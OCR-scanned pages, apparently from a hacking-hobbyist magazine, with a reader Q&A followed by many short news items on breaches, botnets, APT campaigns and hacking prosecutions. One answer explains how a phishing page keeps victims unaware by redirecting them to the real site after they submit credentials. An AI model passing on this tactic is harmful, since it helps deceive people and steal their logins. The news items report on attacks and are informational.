er he enters his username and password.
How can we get data in password.txt and
redirect him after entering his data to origi
nal page so that he will not know about phi
-shing.-Matt.

A: Hey Matt. Normally in phishing, when a us-
er enters his credentials he will be redirected t
-o the original webpage of the site we are tryi-
ng to phish. For example, we have created a
phishing page for a site xyz.com. Once a user

enters the credentials for this site, he will be
redirected to the original website of xyz.com.
The user will think its a glitch and try to login
once again.

Q: Hello. Upon booting Kali in VirtualBox,
and selecting the gnu/Linux boot option, |
briefly see a command line flash with som-
e “clean” command and then an immediat-
e crash of my entire host system to a
Windows BSOD with the error IRQL
UNEXPECTED VALUE. Any suggestions?
VMX is enabled in Bios and this is a clean
install of Win10 on a brand new PC. -Neutri
-no.

A: Neutrino, The error you specified can be ca
-used by various reasons in Windows 10. Mor
-e information about solving this problem is gi-
ven in the site.

Send all
your
questions
regarding
hacking to
ga@hackerc
ool.com
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Football Association worried about hackin

News Group willing to pay damages to ex

The Football association is worried about IT
security and hacking can lead to breach of se
-nsitive information such as injury, squad sele
-ction and tactical details could be made publ-
ic. It has conveyed its concerns to FIFA and h
-as advised its players to avoid using public or
hotel Wifi and to be alert.

FBI can keep hacking details secret :

The Court today ruled that FBI will not have to
reveal who hacked the IPhone of San Benardi
-no shooter Syed Farook. The Court gave this
judgement in response to pleas by many med
-ia houses took FBI to court to find out which
company helped FBI to crack the FBI.

Spain to extradite Kelihos botnet founder
to US :

Spanish court today granted extradition of Ru-
ssian citizen Peter Levashov to US. Peter has
been found guilty of running a Botnet named
Kelihos, a network of more than 100,000 infec
-ted devices used by cyber criminals to distrib
-ute virus, ransomware, phishing emails and
other spam.

NATO soldiers in Eastern Europe under th-
reat of smart phone hacking :

Smart Phones used by NATO soldiers posted
in Eastern Europe are being hacked by an un-
known actor. There have been atleast six cas-
es of phone hacking as reported by media. Th
-ere have been various methods of hacking lik
-e stingray devices, Facebook hacking and se
-nding phony emails to hack these smart pho-
nes. US has blamed Russia for these hacks.
Privacy International seeks funds to fight |
-eqal fights against UK Government :
Privacy International, a group that fights for pr
-ivacy rights is running a crowdfunding campa
-ign to try to raise funds to help cover its legal
costs as it continues to challenge the UK gov-
ernment over its use of hacking as a mass su-
rveillance technique to gather intelligence.The
group is aiming to raise £5,000 like this.

Intelligence Officer :

News Group Network the owner of erstwhile
"News of the World" media has agreed to pay
damages to lan Hurst, the ex-intelligence offic
-er. Hurst served in the Intelligence Corps and
the Force Research Unit in Northern Ireland
between 1980 and 1991 when he retired.New
-s group is alleged of hacking into his comput-
er to gain insights for news articles.
Taiwanese premier wants review of countr-
y's information security :

Premier Lai Ching-te of Taiwan requested rele
-vant agencies to review country's information
security after hackers hacked the Far Eastern
International Bank of the country. Far Eastern
Bank reported that it's computer systems wer-
e hacked by implanting a malware and the ba
nk's SWIFT network was compromised.

Two men arrested in Sri Lanka for helping
hackers in Taiwan hacking :

Sri Lankan police have arrested two men for a
-llegedly helping international cyber criminals
who hacked into computers of a Taiwan bank
and stole millions of dollars.The Sri Lankan p-
olice said they were working closely with their
Taiwanese counterparts.The two men were a-
rrested when they tried to withdraw a large su
-m of money wired to their accounts with a Sri
Lankan bank branch in the capital Colombo.
Sri Lanka arrests another man over Taiwan
hacking :

After arresting two men for allegedly hacking
a Taiwanese bank,Sri Lankan Government ha
-s arrested Litro Gas chairman Shalila Moone
-singhe over same charges. He was arrested
after US$1.1 million from the Far Eastern Inte
-rnational Bank in Taiwan was found in his per
-sonal bank account.

Hackers join hands to secure US elections
Hackers are joining forces with US governors
and academics to form a new group that will
aim to prevent the hacking of voter machines
and tamper the results of the election.
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Founder of Oilpro.com pleads quilty to hac
-king into his rival firm's database :
The founder of Oilpro.com, the popular netwo
-rking site has been sentenced to imprisonme
-nt upto one year and one day for hacking into
his competitors database. It seems he used th
-e breached information to defraud the compa
-ny and lure the users to his site which offered
similar services.
Kansas University student expelled for ch-
anging grades :
A student of University of Kansas was expelle
-d today for hacking into a system and changi
-ng his grades. The student performed this ac
-t by plugging a keystroke logger to the back
of the system which gave him the required cr-
edentals.Then he changed his grades from an
F to A.
US Congress may pass a "hackback" bill :
Two Senators have introduced a bill callled as
"Active Cyber Defense Certainty (ACDC) act
which will allow hacking victims hack back the
hacker who hacked them. This would literally
allow hacked companies to venture outside th
-eir networks to identify the intruder and hack
their systems back, destroy any data that had
been stolen, and deploy "beaconing technolo-
gy" to trace the physical location of the attack-
er.
Sensitive data of F-35 planes stolen :
Sensitive data belonging to an unnamed Aust
-ralian defense firm involved in developing the
F-35 fighter jet was stolen by hackers in Nove
-mber of 2016.This has been confirmed by bo
-th US and Australian officials. The traces left
by the hackers reveal them to be Chinese sai-
d the officials.
APT groups now targeting Asia Pacific Re-
ion :
As per the report made by Kaspersky Labs, A
-dvanced Pensistent Threat(APT) groups are
targeting Asia Pacific countries with monetary
gain as their intention. Financial institutions of
countries like Malaysia, South Korea, Indones

-ia, Philippines, China (Hong Kong), Banglade
-sh and Vietnam have already been breached
Kaspersky has monitored and detected APT's
like Lazarus and CobaltGoblin.

Hackers exploiting Adobe Flash vulnerabil
-ity to install Finspy spyware :

Kaspersky labs has discovered that hackers a
-re using a remote code execution vulnerabilit
-y in Adobe Flash to install the infamous FInS-
py spyware. The exploit was hidden in an Offi
-ce Document. FinSpy is infamous for being a
surveillance software that's been sold to law e
-nforcement groups and governments worldw-
ide.

Microsoft was hacked in 2013 :

If reports from Reuters has to be believed, the
highly sensitive bug tracking database of Micr
-osoft was hacked in 2013 by a hacking group
known as Morpho, Butterfly or Wild Neutron.
Microsoft though kept the breach secret. If thi
-s is indeed true, then hackers would have us-
ed this highly critical information to hack other
systems.

Smartwatches for kids can be hacked too :
If you want to gift a smart watch to your kid, th
-ink again. These smart watches are damn vu
-Inerable to hacking. The Norwegian Consum-
er Council (NCC) carried out tests on four sm-
artwatches(Gator 2, Tinitell, Viksfjord and Xpl-
ora) and found that hackers could exploit sec-
urity holes in three of the watches allowing ha
ckers to talk to the kids wearing them and eve
-n spoof their location letting parents think the
-y are actually somewhere else.

APT28 hackers targeting the Adobe Flash
vulnerability:

Russian hacking group Fancy Bear, also kno-
wn as APT28 is rushing to exploit the Adobe
Flash vulnerability disclosed recently to hack
systems before the patches are applied. A nu-
mber of emails have been sent to government
offices in Europe and the US specialising in
foreign relations as well as private businesses
in the aerospace industry. This vulnerability c-
an be exploited by sending a Word document.
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EU to compensate computer hacking victi-
ms .

European Union is all set to make a regulatio-
n to provide compensation for the users who
are victims of computer hacking. All the custo-
mers belonging to a company are eligible for
this compensation even though their account
is not breached. Although this law looks good,
it has raised new suspicions that companies
may not report the data breaches in fear of pa
-ying hefty compensation.

Nepali Banks targeted for siphoning of mo
-ney :

Hackers have targeted some Nepali banks an
-d transferred millions of dollars by hacking th
-e SWIFT, the backbone of world financial sys
-tem.

SWIFT stands for "Society for
Worldwide Interbank Telecommunication"
It is a global financial messaging system
used by thousands of banks and
commercial organisations across the

world to transfer money every day.

Hackers allegedly hacked the SWIFT codes u
-sing a malware.

Hackers now targeting US schools?

After hacking hospitals for personal data, it se
-ems hackers are now targeting US schools f
-or stealing personal data of students and staf
-f. US Department of Education has issued a
warning to parents, teachers and students ab-
out a severe cyber threat looming over the sc
-hools of the country. In few cases, the hacker
-s are even issuing gore threats if their deman
-ds are not met.

New Reaper IOT Botnet on rise :

A new IOT botnet has been detected which h-
as already infected smart devices over a milli-
on networks worldwide. The botnet is being c-
alled Reaper or loT Troop. Reaper uses soft-
ware hacking techniques to break into these
smart devices. Reaper's potential for major
Distributed Denial of Service (DDOS) attacks

IS enormous and may belittle last year's Mirai
loT botnet look like child's play.

Third accused in Fappening charged :
Emilio Herrera, 32 of Chicago has become th-
e third accused to be charged with hacking an
-d and stealing victims private photos without
permission between April 27 2013 and the en-
d of August 2014. Herrera is accused of doing
this by sending fake technical support emails
to his victims posing as security team of their
ISPs and asking for their login and password
details. After getting the login details, he down
-loaded their intimate and sensitive photograp
-hs.

Dark Overlord claims credit for hacking US
schools :

Hacker group "Dark Overlord" claimed respon
-sibility for hacking some US schools and thre
-atening the students with violence.The same
group is famous for hacking into Netflix.

LG's SmartThing app vulnerable to hackin-
q:

SmartThing is an app used to control LG devi-
ces through remote control.Security research-
ers recently discovered a security vulnerability
called HomeHack,that allows hackers to creat
-e a fake LG SmartThinQ account. Security re
-searchers while testing not only created a fak
-e account but also used it to take over the us
-er’s legitimate LG account. With this account
, they can remotely control the user’s smart
LG appliances.

Dark OverLord threatens to leak secrets of
Hollywood :

Hacking group DarkOverLord, which was resp
-onsible for recently hacking Netflix, is threate
-ning to leak the database containing data be-
longing to Hollywood.They got hold of this dat
-a from Studio Line 204 which is a top product
-ion house of Hollywood. Studio Line 204 has
many clients which include Apple, Netflix, Fun
-ny or Die, ABC, HBO, Hulu etc. The other da-
ta allegedly also includes transaction records,
bank deposit information and vendor lists.
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